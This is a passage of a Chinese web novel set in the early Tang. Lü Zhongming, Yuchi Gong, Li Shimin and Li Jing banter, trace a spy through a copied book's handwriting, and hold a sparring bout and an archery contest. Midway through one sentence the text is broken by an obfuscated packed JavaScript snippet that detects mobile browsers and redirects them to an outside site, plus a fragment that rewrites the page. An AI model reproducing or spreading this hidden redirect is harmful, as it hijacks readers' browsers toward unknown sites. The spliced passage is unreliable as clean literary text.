“什……什么?”吕仲明莫名其妙。 “别装傻。”罗士信道:“那黑炭头对你有意思,你不知道?” 秦琼乐道:“瞎子都看出来了,还去求世子,安排他天天跟着你,说不是有鬼谁信。” 吕仲明尴尬道:“还……还好罢。没有你想的这么……” 罗士信拍拍吕仲明的头,还要再说点什么时,尉迟恭便进来了,以征询的眼色看着吕仲明,不说话。吕仲明了然道:“我们先回去了。” 罗士信酸溜溜地说:“滚罢。” 吕仲明好笑,便跟着尉迟恭回了王府,天已全黑,婢女过来道:“世子出远门了,吕道长是在院里吃还是到厅堂上去吃?” 吕仲明正在玩那弹弓,头也不抬答道:“就在家里吃罢,今天有什么好吃的,都端上来。” 尉迟恭进来,盘膝坐在厅堂内,吕仲明抬眼看了他一眼,见尉迟恭正在看他,两人目光都有点不自在,稍一接触,便各自心里有鬼一般地别过头去。 尉迟恭:“你……吃东西不?我去拿点来给你吃。” 吕仲明摆手道:“不了,快吃饭了。”心想我在你心里的印象就只会吃吗……?为什么总是问我吃不吃东西。 少顷婢女上了晚饭,里头还有一样菜,是昨天晚上吃过的,婢女道:“这是唐国公特地吩咐,为吕先生做的。” 一连数日都是山珍海味,吕仲明已经吃得有点腻了,便表示很感激,尉迟恭看着那满桌子菜,坐下来照顾吕仲明吃饭。 吕仲明有点不在自在,说:“我自己来罢,你平时也吃这个?其余门客吃什么?” 尉迟恭道:“你的食宿,在王府里是第二等的,仅次于世子。世民吩咐,不能怠慢了你。” 吕仲明倒是没想到,只以为王府上下,都是一样的吃,现在看来还是分三六九等的,欣然道:“倒是承他的情。你平时吃什么,跟着他吃?” 尉迟恭道:“自己吃,你没来之前,我住东府外耳房里。一天三顿,面饼,汤,三种菜。武将都这么吃。” 吕仲明想起府中门客,第一天来的时候还是见着了不少闲人,便又问:“像我这样的,多不多?” “多。”尉迟恭给吕仲明盛饭,答道:“整个王府里有三百多名门客,大都住在东府里。但谋臣不多,大多是怀有一技之长,来讨生活的。世民觉得,但凡能用上的人,都留下来了,实在觉得用不上的,也会给点银子,打发回家去。唐王常常责他花钱如流水。” 东府是李世民的地盘,麾下养了近三百门客,不把他吃穷吗?想必李世民再豪富应当也有个限度,这么多人吃,料想也吃不到很好。 “喜欢就多吃点。”尉迟恭道。 吕仲明终于听不下去了,说:“其实我也不是总是想着吃……” 尉迟恭一脸严肃点头,吕仲明又道:“在东府里,最受宠的是谁。” 尉迟恭想了想,说:“你想听说实话?” 吕仲明:=_= 尉迟恭笑道:“这么说罢,每个人刚来时,都是受宠的。” 吕仲明登时就恍然大悟,眯着眼道:“我说呢,怎么对我们这么好。如果时间一长,又没什么才学,就会坐冷板凳是吗?” “倒也不是这么说。”尉迟恭道:“世民每天都很忙,纵然投缘,也无暇去终日混在一起,既投缘,又有本事的,才会得他青睐。” “但有本事的人,不多。”尉迟恭解释道,又给吕仲明夹菜,说:“你和秦将军,罗将军已经算是凤毛麟角了,还有,像长孙无忌这些自小与世民相识的,自然不在话下。” “那你呢?”吕仲明又问。 “我……”尉迟恭想了想,说:“还行,他待我很好。” 吕仲明道:“你为什么喜欢他?” 尉迟恭道:“我不喜欢他,你别总是给我扣帽子,我只是觉得他像……” 说到这里,尉迟恭马上打住了话头,吕仲明却听到了,问:“像谁?” 尉迟恭:“他对手下人非常好,就算对方能力不足,他也会客客气气待人,都是发自真心,且他现在,非常缺能用的人手。” 吕仲明:“像谁?” 尉迟恭:“这么说罢,关于我身世的部分,并没有骗你,我确实是父母双亡后来到雁门,却是在雁门关下碰上杨广御驾亲征,与突厥混战……世民在那场混战中救了我,又不计较我出身,让我随军……” 吕仲明:“哦……原来是这样,那他像谁?” 尉迟恭:“……” 吕仲明:“所以你一直追随他。” 尉迟恭:“像你。” 吕仲明:“???” “像我?”吕仲明莫名其妙道:“次序颠倒了吧,你不是先认识的他,才认识我么?” 尉迟恭笑笑,不说话,吕仲明怀疑地看着尉迟恭,就在这时,李世民来了。 “每次我问到这个问题,不是来人就是出事,总会被各种各样稀奇古怪的理由打断!”吕仲明不干了,说:“我不管了!今天我一定要问完问清楚!” 李世民:“???” 尉迟恭:“……” 李世民:“怎么了?你俩吵架了?” 吕仲明袖子一抻,拦着李世民,说:“你先坐,我好奇点事。”继而取了把铁勺子,朝尉迟恭说:“咱俩以前认识吗。” 尉迟恭马上无辜道:“我不是说过吗?不认识。” 尉迟恭穿着无袖的武服,胳膊下露出胸肋,吕仲明便把那冰凉的勺子背朝尉迟恭胳膊下的肌肉上一贴。 “啊——”尉迟恭登时惨叫道。 吕仲明面无表情:“招不招?” “招!”尉迟恭马上道:“我都招了!” 吕仲明道:“招了就好。”说毕又把勺子贴上去,尉迟恭又是一声惨叫。 “真的不认识!”尉迟恭道:“不认识!别动手了!壮士!求求你了!” 李世民:“……” 吕仲明道:“那你怎么说世民兄像我?” “哦?”李世民莞尔道:“原来敬德待我这么好,只是将我当做了小仲明?” 吕仲明:“……” 尉迟恭登时脸色通红,恨不得找个地缝钻进去,说:“我只是觉得,仲明你……很熟悉,就像梦里……见过的,就是这么个原因。” 说毕尉迟恭狼狈起来就朝外跑,吕仲明还在错愕中,尉迟恭已跑出二门外,还在木槛上绊了一下,李世民朗声大笑,尉迟恭已跑得没影了。 饭桌上说不出的尴尬,最后还是李世民打破了这宁静,笑着说:“仲明。” “认识敬德,还是在两年前。”李世民道:“带他回府后,我见他年岁已长,父亲感念他救命之恩,也想为他安排一桩姻缘,却被他拒绝了。” 吕仲明心事重重,捧着饭碗,嗯了声,李世民道:“敬德告诉我,从小到大,他常常会做差不多的梦,梦里,都会出现一个人。”李世民说:“他为我驻守代县,监视突厥时,就给我送过信,说,那个人,终于出现了,他等了二十来年,终于等到了你,让我过来看看你。” 吕仲明登时啼笑皆非,说:“从小到大,都会梦见一个人?这也太……” 倏然间,吕仲明想到了另一个爱睡觉,且常常做梦的家伙——太上老君。 “坑爹啊这是——!”吕仲明把碗一摔,咆哮道:“还能再不靠谱点吗?!秦琼也就算了,老君你这么跟尉迟恭‘打招呼’,是要玩死我啊!” 李世民:“……” “没什么。”吕仲明瞬间恢复面瘫状,诚恳道:“世民兄,咱们来谈一谈正经事罢。” 李世民哭笑不得道:“我话还没说完,敬德这人……” 吕仲明:“不不,咱们还是来商量正经事……” 李世民:“不不,先让我说完,敬德很喜欢你,他说他在雁门关下看到你的那一天,就知道你来了,虽然与小时候的你不太一样,但他知道那是你。他说,你不是凡人,你的出现必伴随着一些大事,是仙人派下来,扶持人间的,他会相信你,想陪伴你,照顾你,所以我也……相信你。” 李世民认真看着吕仲明的双眼,又说:“敬德就像我兄长,他很可靠,沉得住气,办得了大事,且很勇敢,机智,千军万马中把我救了出来。我说真的,你不妨考虑一下。” “考考考……考虑啥?”吕仲明茫然道。 “考虑和敬德兄……”李世民也有点说不下去了,抓狂道:“你别装傻!平时说话的高人样子都是装出来的罢!” 吕仲明道:“你终于发现了么?跟我混熟了的人都知道我是小二愣子啊。” 李世民:“……” 李世民真是败给他了,吕仲明又来了句:“二不好吗?你也挺二的。” “我不二!”李世民悲怆喊道。 “好好。”吕仲明道:“你一点也不二,好了,来,谈正经事罢。接下来怎么整?” 李世民终于被吕仲明带跑了话题,正色道:“信拿到了,但还没伪造出来,府里人多耳杂,不敢乱来,得拿出去想办法……” 吕仲明道:“你东府里养了几百号人,怎么连个会作假的都找不出来,还说不二。” 李世民抓狂道:“这不是没碰上合适的么!我倒是想千金买骨呢!” 吕仲明又安抚道:“好好好……府里奸细,查出是谁了么?” 李世民沉默,摇头,又说:“我猜多半是个女人。” 吕仲明道:“蹲点,盯梢,看有谁经常出府,来往王府与晋阳宫,甚至官府的。” “已经派人监视了。”李世民道:“连副留守都不知道奸细是谁,足见其心思慎密的人,这种人必有防备,不会这么轻易露出马脚。” 二人分析半晌,从那信报口中得知,以月为周期,那名奸细会往来王府与街市,传递消息,今天乃是二月初三,只要在这个月里把陷阱布好,奸细就不会知道。 又商量了许久,李世民才回去,吕仲明又道:“这几天你来得太勤了。” “我知道的。”李世民点头道:“大哥去大兴办事了,偶尔走动,倒也无妨。走了。” 说毕李世民告辞,出去时看见尉迟恭站在门外,一副魂不守舍的样子,忍不住笑了笑,尉迟恭见李世民走了,这才尴尬进去。 “吃……饱了?”尉迟恭硬着头皮问道。 “吃饱……了。”吕仲明硬着头皮答道。 两人尴尬不做声,吕仲明道:“你……吃吧,我先上去休息了。” 说毕吕仲明把信一收,飞也似地蹬蹬蹬上了楼去,不再下来了。 这是怎么回事!吕仲明坐在书案前,满脸抓狂,动动这个又碰碰那个,明明爹说过,谈恋爱的时候,不是这样的啊?!还记得从前吕仲明问过自己老爹,爱情是什么,吕布答道哦,就是想保护他,跟他在一起一辈子,没了。 尉迟恭对自己有意思,吕仲明早就知道了,罗士信也不止一次拿来嘲笑过他,但接下去要做什么?吕仲明根本就想不到要做什么。他总觉得自己虽然挺喜欢尉迟恭的,但也远远没到要和他在一起一辈子的地步。 “要吃宵夜吗?”尉迟恭在楼下问道。 吕仲明像是被电了一下弹起来。 “生气了?”尉迟恭又问道。 吕仲明:“没……没有,我睡了。” 尉迟恭道:“今天在外面跑了一天,早点休息。” 吕仲明嗯了声,坐了一会,忍不住又到楼梯旁,把脑袋伸到楼梯的狭缝里,探头朝下面看,见尉迟恭独自坐着吃饭,吕仲明刚看了他一眼,尉迟恭便放下筷子,似乎感觉到了,回头道:“仲明?” 吕仲明马上把脑袋缩回来,孰料碰的一声,脑袋被楼梯的那道狭缝夹住了。 吕仲明:“……” 尉迟恭:“……” 尉迟恭手忙脚乱上来,吕仲明使出吃奶的力气,要把脑袋从木板的间隙里拔出来,尉迟恭全身都在发抖,显是忍笑忍得非常辛苦。好不容易帮吕仲明把脑袋拔出来了,尉迟恭道:“有事你叫我一声,我就在下面睡。” “好的!” 吕仲明瞬间逃回二楼卧室内。 这天晚上,吕仲明在床上翻来翻去,耳朵火辣辣的发烫,也不知道是因为被楼梯板夹的,还是因为别的什么。 感觉这次来初唐,不仅事业与自己想象的相差甚远,就连谈恋爱也完全朝着脱缰的方向一路狂奔,吕仲明从前确实想过,是否某一天,自己也会去组建一个家庭,和一个喜欢的人在一起,可能是一只九尾狐,又或者是只白龙青龙什么的…… 当然,跟人在一起也没什么不好,人乃万物之灵,自己老爸成仙时,也是个人,大家在金鳌岛都是以人的模样交谈,人有七情六欲,是世间最有灵性的生物。只是和吕仲明以前作过的假设差得有点远。 其实他最喜欢龙了,鳞片闪闪发光,眼神还这么威严,白虎也可以,很有安全感,还毛茸茸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563130|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朱雀则有点娘娘腔,不太喜欢……但是爹也说过,你喜欢的,未必就喜欢你,只要大家互相喜欢就行,性别不是问题,物种没有关系。 吕仲明开始胡思乱想,如果尉迟恭是条黑龙就好了,那么自己肯定会满眼射星星,流着口水倒贴上去,不对,这也不是物种的原因。喜欢的,随便是个什么都喜欢,不喜欢的,就算是龙也不喜欢。 这天晚上,气候略有回暖,在吕仲明的脑补中,尉迟恭摇身一变,成了一条黑龙,高端大气上档次,低调奢华有内涵,这么想来,好像也挺不错。 翌日,吕仲明吃早饭时发现尉迟恭好像有点没睡够,问:“没睡好?” 尉迟恭道:“睡好了。” 吕仲明心里好笑,没睡好就没睡好,昨天晚上你在我脑子里忙活了一整夜,当然没睡好。 尉迟恭又问:“今天办什么事?” 吕仲明道:“等的东西还没来,先出去走走罢。” 说是走走,然而出门以后,吕仲明却是直奔军营,趁着尉迟恭没进来,拉着秦琼和罗士信,把昨天晚上的事说了。 “少扯那些有的没的,你看得上他不?”罗士信问道。 “啊?”吕仲明道:“还……好罢。” 两人倒。 秦琼道:“你说清楚点,喜欢他不?这事得看你自己,问我做什么?” 罗士信满腹狐疑,问:“你不是仙人么?仙人能和凡人在一起?” 吕仲明道:“这个倒是没什么关系,只是……” 秦琼问:“你喜欢的人,是怎么样的?” 吕仲明道:“我喜欢龙,其实他要是条黑龙就好了。” 罗士信:“???” 秦琼:“?” 罗士信道:“黑龙?那小子下面说不定是条黑龙……” 秦琼:“……” 吕仲明:“?” “自己想罢,你不是很聪明的吗?”罗士信道:“我看你挺喜欢他的,爱干嘛干嘛去。” 秦琼道:“就是,练兵去了。” 吕仲明只得又走了,尉迟恭等在外面,站在春天的阳光下,今天换了身侍卫穿的简单衬甲,远远地看上去,只觉十分帅气。 “去书铺子看看。”吕仲明主动道。 尉迟恭点头,在前面带路,吕仲明决定还是先不想这事。两人到了书铺外,吕仲明随手翻了翻书,看了眼那字,倏然间心中一震。那书里所写的字,与信中的字迹,明显出自同一人之手,虽说字体已改,然而依稀能辨认出来。 “这字挺漂亮。”吕仲明笑道:“掌柜,是什么人写的?” “大兴延坊书斋——”掌柜在柜台后头掸灰尘,头也不抬道:“小店是分号,没看招牌么?这里的书,都是那头誊写了运来的。” “是么?”吕仲明又取了本,发现两种字体虽一样,却不是出自同个人之手,掌柜突然又想起了什么,说:“你手里那本《古诗十九首》,应当是张小娘子誊抄的。” 吕仲明又问道:“张小娘子叫什么名字?” 掌柜道:“嘿,你这登徒子,怎好随随便便就打听别人名字?只剩这一本了,要买就趁早。” 尉迟恭听到这话时脸色瞬间一变,眯起眼,吕仲明还没发现,兀自问道:“她为何要誊书来卖?” 掌柜随口答道:“生计所迫,你以为都像你们,当街佩剑,游手好闲就能来钱吗?” 尉迟恭低声道:“别问了,我知道她是谁。” 说毕尉迟恭去付了账,拿了那本古诗十九首,与吕仲明出来,吕仲明莫名其妙,问:“你知道是谁?” 刹那间吕仲明意识到了不妥,既然是尉迟恭认识的,也就是说,是唐王府里,他的朋友…… 果然,尉迟恭神色复杂,说:“咱们问得太多了。很容易引起对方警觉。” “不妨,你先说是谁。”吕仲明道。 尉迟恭沉默,吕仲明道:“说吧,我保证不说出去。” 尉迟恭看着吕仲明,说:“是李靖的夫人,我记得他途经雁门关下时,带着她夫人一起,送他离开代县时,他就到你摊子前来,算过一次命。” 吕仲明:“!!!” 尉迟恭边走边说,吕仲明这才知道,原来尉迟恭与李靖,并非早就认识,而是在铁铺里认出彼此的——当年杨广巡雁门时,李靖恰好担任领军校尉,对横里杀出来,救下李世民的尉迟恭印象十分深刻。 李靖告诉他的,与告知吕仲明的一样——在大兴获罪,逃到西边,进并州投奔李渊,认为李渊是明主。而被称作红拂女的张初尘,便一路跟随在李靖身边。 吕仲明眉头深锁:“这下麻烦了,没想到查来查去,会查到自己人头上……” “自己人?”尉迟恭听出了句什么,吕仲明马上摆手,意识到说错话了。 “你觉得怎么办?”吕仲明道。 尉迟恭道:“我要去劝李靖老弟一劝。” “不行!”吕仲明色变道:“开什么玩笑?他能一路装模做样,混进晋阳来,不是你劝就劝得动的。你想,李世民让你去代县当卧底,有人告诉你让你放弃,投奔突厥,你会听吗?” 尉迟恭道:“但也不能让世子知道此事!” “兜不住!”吕仲明道:“世民已经知道府里有奸细,咱们查到一半,连信都拿到手了,现在突然无声无息就断了,你觉得这可能吗?” 尉迟恭道:“李靖满腹才学,是个干大事的人,你要是去告密……” “什么告密!”吕仲明说:“这什么词啊!” 尉迟恭马上道:“对不起,我说错了。” 吕仲明气呼呼地就走,尉迟恭跟在他身后,又是赔不是,又是作揖,像头狗熊般,吕仲明又觉得好笑,绷不住了。 “你想怎么说?”吕仲明道。 “陈衡利弊。”尉迟恭道:“晓以利害,让他自己找世民坦白。” 吕仲明摇头道:“他不会是说放弃就放弃的人。” 尉迟恭道:“你答应我,先别把这事捅破,我再慢慢想办法。” 吕仲明本来也没打算出卖李靖,只想换个方式解决,然而看到尉迟恭这么紧张李靖,又觉得有点酸溜溜的。 “他哪里好了。”吕仲明道。 “朋友。”尉迟恭道:“这是我的原则。” 吕仲明:“不行,我要去‘告密’,你要么杀了我,要么我就去‘告密’。” 尉迟恭:“你……” 吕仲明面瘫状看他。 尉迟恭道:“罢了,还是我去捅罢,不用你说,我找世民去。” 吕仲明:“你的原则呢。” 尉迟恭笑笑道:“你和原则冲突的时候,当然选你了。难道还把你杀了灭口吗?” 吕仲明怀疑自己又被尉迟恭耍了,说不定他早就知道自己不会去告诉李世民。然而此刻街头围观群众,俱是一脸戚戚,议论纷纷,两人都意识到了,吕仲明大囧,尉迟恭瞬间把他肩膀一揽,装作好兄弟般,飞也似地逃了。 午后,王府校场,一轮春日晒得人暖洋洋的,天策骑兵排开,在校场上习练枪法。 李靖一身大麾,在方阵中负手而行,刚硬的唇角犹如刀锋般锋锐,剑眉略略挑起些许,一脸冷漠,正凝视手下兵士时,忽然察觉远处的两个人,嘴角便微微一挑。 “尉迟将军。” “李将军。”尉迟恭站在天策军方阵外,朝李靖略一抱拳,沉声道:“一位小友特地来看你。” 吕仲明背着手,嘿嘿笑,从尉迟恭身后走出来,说:“李将军,你骗得我好苦。” “吕道长。”李靖虽不显喜怒,眼中却带着欣然之色,问:“上次托人送去的酒,味道如何?” “好酒。”吕仲明笑道:“尉迟泡成梅子酒给我喝了,哪儿弄来的?” “唐王赏赐。”李靖答道:“要再喝,只能等下次了。尉迟将军说不定常常能喝到。” 尉迟恭无奈笑笑,说:“任务砸了,现在只是个侍卫,不敢称将军了。” 李靖又道:“前几日就听说道长来了晋阳,奈何兵务缠身,无暇得见。” “不忙。”吕仲明笑道:“有空再一起喝酒罢。” 三人沿着校场一侧走,尉迟恭道:“李靖老弟,现在天策军交给你带了?” “靖何德何能?”李靖道:“只是世子有事外出,便由我暂时统领。取长补短,练习马上厮杀之术。” 吕仲明看了一眼天策军方阵,见果然军容有纪,料想李世民麾下武将,人人都想带这支兵,只是才能有限,看来李靖混得不错。 尉迟恭道:“什么时候来练练,打一场?” 李靖道:“正有此意,先前还说了朝尉迟将军讨教,择日不如撞日?” 尉迟恭笑笑,与李靖互一抱拳,各自去取兵器。 吕仲明先前只是与尉迟恭说好,找李靖聊聊,没想到尉迟恭居然会和李靖出手切磋!怎么这家伙又不按剧本来的???! 春日晴好,照着场中二人,尉迟恭取来一把斩马重剑,李靖则取来一把画戟。吕仲明刹那傻眼,这俩家伙都是深藏不露的高手吗?旋即马上明白过来,尉迟恭是要让他看,不是看自己,而是看李靖的功夫。 让他看清李靖的本事,从而知道李靖此人贤才难得。 “尉迟恭!”吕仲明马上道:“别客气哟。” 尉迟恭被吕仲明一眼看破心思,哭笑不得,点点头,抱拳道:“遵命!绝不留手!” 一时间天策军纷纷涌至,要看李靖与尉迟恭切磋,恰恰在这时,李世民刚好议完事,从演武场外的偏殿内走出来,看到二人这架势便知道发生了什么事,也远远道:“尉迟恭,莫丢了我面子!” 23. 第二十二回:逼反 尉迟恭这下压力倍增,连李世民都来了,李世民笑吟吟,一身锦袍下来,天策军自发让出一条路,分别朝李世民躬身,吕仲明朝他招手,李世民便过来了,跃上武器架,与他并肩坐着。 尉迟恭当的一声,将那重刀驻在地上,火星四迸,震得周围人等耳膜发疼。 “此乃斩马重剑。”李世民朝天策军解释道:“六尺三寸长,一尺宽,柄长二尺,双手握,重五十三斤四两。可兼作门盾,重锤,劈、砍、斩、挡,震等诸般手法。马战,陆战俱作前锋用,专斩对方游骑兵,连人带马,只需一招,便能斩下。李将军,不可与他拼斗力气,须得游击为上。” 尉迟恭点头,知道既已开场,想必可当做教学,顺便练兵。李世民话音一落,李靖便背手持戟,巍然屹立,犹如山峦般坚不可摧,身材就像门板,立得笔直。 吕仲明笑着朝天策军开口道:“李将军所用,乃是戟,戟者,戈矛一体,主勾啄、刺击,戟乃是十八般兵器中最难用的一种,分勾、刺、剁、戳、挂、铲,回马戟,横刺,下劈刺,斜刺,横砍,钉壁,翻刺,通击,挑击,直劈十六式,每式又可化出三十六实招,七十二虚招,看李将军身手,乃是想走挑逗路线,以敏捷身手,耗你实打实的气力,尉迟将军,当心了。” 天策军登时大笑,继而轰动,纷纷为两人的点评叫好,吕仲明这话也是在提醒尉迟恭,事实上,他俩都觉得应该是李靖更胜一筹才对。 李靖沉声道:“得罪了!” 尉迟恭沉声道:“请赐教!” 全场屏息,一瞬间吕仲明甚至看不清二人是怎么出手的,李靖快得无以伦比,已化作虚影,紧接着当的一声巨响,尉迟恭连动也不动,以剑驻地,便挡住了李靖一招! “好——!”场边喝彩声简直是要掀翻了不远处的大殿,紧接着李靖回手把戟一拖,尉迟恭原地转圈,扫出一剑。又是当的巨响,两人兵器相击,继而李靖侧掠,尉迟恭躬身,转身瞬间拖剑,铮然划过,两人互换了个位置。李靖一式回马戟挑来,尉迟恭早有预备,借旋身之力将重剑拖得飞起,挡开李靖一戟! 围观人等疯狂大喊,喝彩声音最大的是场边的李世民与吕仲明,两人不住大叫,李靖的戟招简直是熟极而流,而尉迟恭每一剑都是大开大阖,充满霸气,更令人震撼的是,尉迟恭抡动重剑时,竟是毫不吃力,身手完全不受影响! 尉迟恭每一次反击,震荡声都绵长不绝,显是以自己的强横膂力反击李靖的虚招,两人叮叮当当的兵器相撞声到得后来,竟是越来越快,最后李靖手中戟一抖,化出漫天虚影,犹如海啸般朝尉迟恭冲来! 那一式直是武道的巅峰,吕仲明小时也见父亲使过,名唤千龙啸夜,相传制戟者乃是兵主蚩尤,而流传下来的武学流派大多殆尽,父亲是在战国时李牧的一卷遗书上学到的这一式! 李靖千龙啸夜卷来的一瞬间,喝彩声惊天动地,这手绝杀一出来,吕仲明便觉得尉迟恭要输,毕竟双方不是一个级别的。然而尉迟恭的反击更令他难以置信,换了通常人,定会回剑守住自身空门,然而尉迟恭却是双手将剑一拖,和身冲去,自身尚在重剑之前,迎着千龙啸夜逆流而上! “好——!”吕仲明震喝道。 吕布小时就教过吕仲明这得意招数,也详细教过他如何破解,正是像尉迟恭这般,取兵家“置之死地而后生”之意,逆流而击,吕仲明万万没想到,在离家这么远的地方,能亲眼一睹,两个凡人以手中凡铁来诠释演绎这宗师级的武学技艺! 最后一式直是将武斗的美感推到了顶峰,只见李靖戟影排山倒海涌来,而尉迟恭在这无人可挡的一戟中,回手将重剑一挑,直切进千龙啸夜的空门中,只听一声巨响,李靖抽身后退,戟尖钝折! 尉迟恭双手脱力,重剑被反击回,脱手飞出,砰然击地,砸得石屑纷飞。 全场静了数秒,紧接着才是疯狂的叫好声,这等比武,李世民平生还是首次得见。 李靖道:“尉迟将军强绝,李某心服口服。” 尉迟恭却一笑道:“最后一招是我输了,重剑脱手,甘拜下风。” 吕仲明知道尉迟恭所言非虚,尉迟恭这一招使得不熟练,方才切入点偏了些许,若力度拿捏到位,一剑当可破去李靖千龙啸夜戟影,再令长戟彻底断折。 “两位将军好身手。”李世民道。 李世民说完便朝天策军抱拳,数人纷纷回礼,吕仲明以眼神询问,李世民轻轻摆手,示意现在不必来,自己还身有要事,便离开了。 这么打一场,想必赏赐不会少,看李世民离去的那表情,简直就是心花怒放,喜大普奔,手下有此良将,当真是做梦都会笑醒了。 尉迟恭浑身大汗,浸湿了背脊,把大剑放回兵器架上,小声道:“我没有留手,吃奶的力气都使出来了,怎么样?” 吕仲明乐不可支道:“厉害。真的厉害,太佩服你了。” 就在这时,李靖也回来归还长戟,说:“吕道长……” “叫我仲明就行。”吕仲明道:“李兄戟法可是在武安君的遗卷上学来的?” 李靖有点意外,开口道:“方才听吕贤弟所言,对戟显然十分熟悉,愚兄戟法乃是家传,莫非贤弟也学过?” 吕仲明马上就明白了,李靖原来是战国武安君李牧的后人,这就难怪会千龙啸夜了。 “略懂。”吕仲明谦让道。 力战之后,李靖与尉迟恭都是一身汗水,便一边说话,一边从校场侧门走出,吕仲明本来想好不少话要试探李靖,被两人这么一比划,反而都忘光了。见校场一侧乃是习练射箭的靶场,便随手拿了张弓,抽了几根箭,掂了掂。 李靖出了一身汗,解下披风,一身天策军的铠甲,衬得腰身修长,靶场内无人,吕仲明架箭上弦,笑道:“李兄你比武赢了尉迟恭,不如和我比比射箭如何?” 李靖稍一沉吟,便道:“你们俩这是轮番试我身手来了?” 尉迟恭莞尔,也拿起一把弓,说:“仲明可是了得,莫要小看他。” 说毕尉迟恭松弦,一箭正中三十步外箭靶红心,李靖叫了声好,淡淡道:“初识吕贤弟,便见其手指修长,双目明亮,颇有骑射天赋,愚兄是半点不奇怪的。”说毕李靖也松手放箭,一箭中红心。 吕仲明道:“当初在雁门关下见李兄时,据说嫂子也跟着一起来了,怎么府中不见?”说话间,吕仲明看着李靖双眼,却不看靶子,随随便便一箭射去,正中红心。 李靖当场就震撼了,这等神乎其技,从来未见,不由得收摄心神,重新打量吕仲明,解释道:“拙荆来到晋阳后,想自食其力,便在城中找了一宅邸住下。” 尉迟恭道:“有空叫她出来喝杯酒罢,仲明,你别小看李夫人,她酒量足够放倒咱们仨的。”说毕松弦,一箭与先前那箭并排钉在靶心上。 李靖又喝了声彩,尉迟恭道:“手抖,疏于锻炼,不成了。你们玩。” 李靖的手却是很稳,箭无虚发,吕仲明想了想,扣着弦不放,说:“以李兄身手,想必能得唐王重用,当时倒是我冒昧,信口胡言了。” 李靖摇摇头,自嘲般地笑笑。 “贤弟所言甚是。”李靖道:“有能不如无能,来了此处半年有余,愚兄深以为然。” 吕仲明道:“为什么?我倒是觉得,以唐王的地位,早已位极人臣……” 两人在说话间,连珠箭发,已射出十余支箭入靶,彼此靶心都密密麻麻地钉满了箭矢,没有一支出红心之外。 李靖扯着弦,似在掂量,靶心已再容不下一支箭。吕仲明又悠然道:“隋唐隋唐,隋后乃是唐,李兄大才,来日富贵定不可限量。” 李靖瞬间手一松,一箭飞去,射偏了些许,落在靶上,距离靶心却足有两指。 吕仲明一笑道:“李兄输了。” “不算。”李靖淡淡道:“扰我心神,再来。” 李靖再掂起一支箭,吕仲明却道:“难道李兄来此处,不是看好唐国公拥有争霸天下的筹码?” 吕仲明随手抽了一箭,架上弦,李靖看也不看他,眯起眼,遥望靶子,道:“边患多年,愚兄只是想为家国尽一份力,并无他想,贤弟言重了。” 说时迟那时快,吕仲明最后一箭却越过靶尖,划出一道弧,射向五十步外的桃花树,射中一朵绽放的桃花,激起漫天花瓣,紧接着穿过一枚花瓣,把花瓣钉在远方的木柱上! “好!”尉迟恭喝彩道。 李靖定定看着远处,眼中尽是不可思议之色,转头看吕仲明,喃喃道:“贤弟是温侯吕布后人?” 吕仲明一震,不料李靖竟能看出他家传武艺,仅是那一瞬间的脸色改变,李靖便知端倪,难以置信道:“辕门射戟,当真乃是世间神技。愚兄自愧不如。” 吕仲明笑笑,又道:“李兄,我与你打个赌如何?” 吕仲明本想以赌约挤住他,让他不要再朝红拂女传递消息,如此事情当可不伤筋动骨,彻底解决。然而李靖听到这话,想也不想便道:“不必赌了,愚兄认输,贤弟有话请说。” 吕仲明收起弓,迟疑良久,正在思考,此事要如何出口时,尉迟恭却比他更有办法。 只见尉迟恭起身,过来,把古诗十九首掏出来,递给李靖。 李靖沉默,接过书,尉迟恭抱拳道:“告辞。” 便与吕仲明回去。 春风穿堂而过,长香苑里,桃花纷飞,吕仲明停步,哇的一声,早上匆匆出去,竟然没发现桃花都开了。 “要吃点东西么?”尉迟恭问。 “呃,不了。”吕仲明感觉自己给尉迟恭的印象,已成了个毫无节制的吃货,感觉此生扳回无望,也不挣扎了,说:“还是吃点点心吧……” 尉迟恭便进去将茶与点心搬了出来,两人坐在桃花树下,尉迟恭边给吕仲明煮茶,边说:“谢谢。” 吕仲明知道他是说李靖那事,便一笑置之。 尉迟恭喝着茶,吕仲明若有所思地看着他,尉迟恭眉毛动了动,注视着吕仲明。吕仲明笑道:“看不出,你身手这么好。” “你喜欢武力强的人,是不是?”尉迟恭道。 “也……也……”吕仲明有点尴尬,不过解释也没用,少年郎自然崇拜武力强的英雄,要么就是聪明的,他打量尉迟恭,发现这家伙非常深藏不露,既身手好,又很狡猾,当即不知道说什么了,只得岔开话题道:“那天……我是说,你从代县外,钻地洞回来找我的时候……怎么伤得那么重?以你的身手,不至于啊。” 尉迟恭一脸被冤枉的神情:“你还觉得我在骗你?” “没有没有。”吕仲明道:“我只是好奇问问。” 尉迟恭随口道:“那天真的是竭尽平生力气才进来的,我知道他们偷袭代县时,里面已经有近千人,杀进密道后,背后还有援兵,只得咬咬牙,强杀进去。” “一……一千人?!”吕仲明登时傻眼了。 尉迟恭道:“没仔细算,但密道里都是突厥兵,三里路远,差不多是这个数罢。” 吕仲明暗道这家伙搞不好比秦琼罗士信还能打,他又问:“你在唐王府里,能排上第几?” 尉迟恭摇头,一笑道:“平时从不与自己人切磋,和李靖老弟的交手,也是第一次。果然还是不能随便动手,你看,这不输了。” “未必。”吕仲明道:“方才那一招你没使对,来,我陪你练练。” 说着吕仲明便随手拿了把笊篱,尉迟恭起身,去提了把院子里埋土的铲子,笑道:“你吕家使这式,应当是正宗的。” “我不行。”吕仲明以笊篱使出千龙啸夜,一个虚晃,虽说怪模怪样,却竟也有几分方才李靖那气势,又教他着力点,尉迟恭铲子抵来,抵中了那一式旧力已尽,新力未生之处。 “这下对了。”吕仲明想起自己爹用千龙啸夜之时,那才是真正的千军万马,天空中火龙迸发,犹如海潮般袭去,一时间不由得心驰神往。 李世民刚好就在这时候来了,眼前的画面再次刷新了他对吕仲明的认知: 吕仲明两眼空洞,拿着扫帚,站着发呆,嘴角现出诡异的笑容。 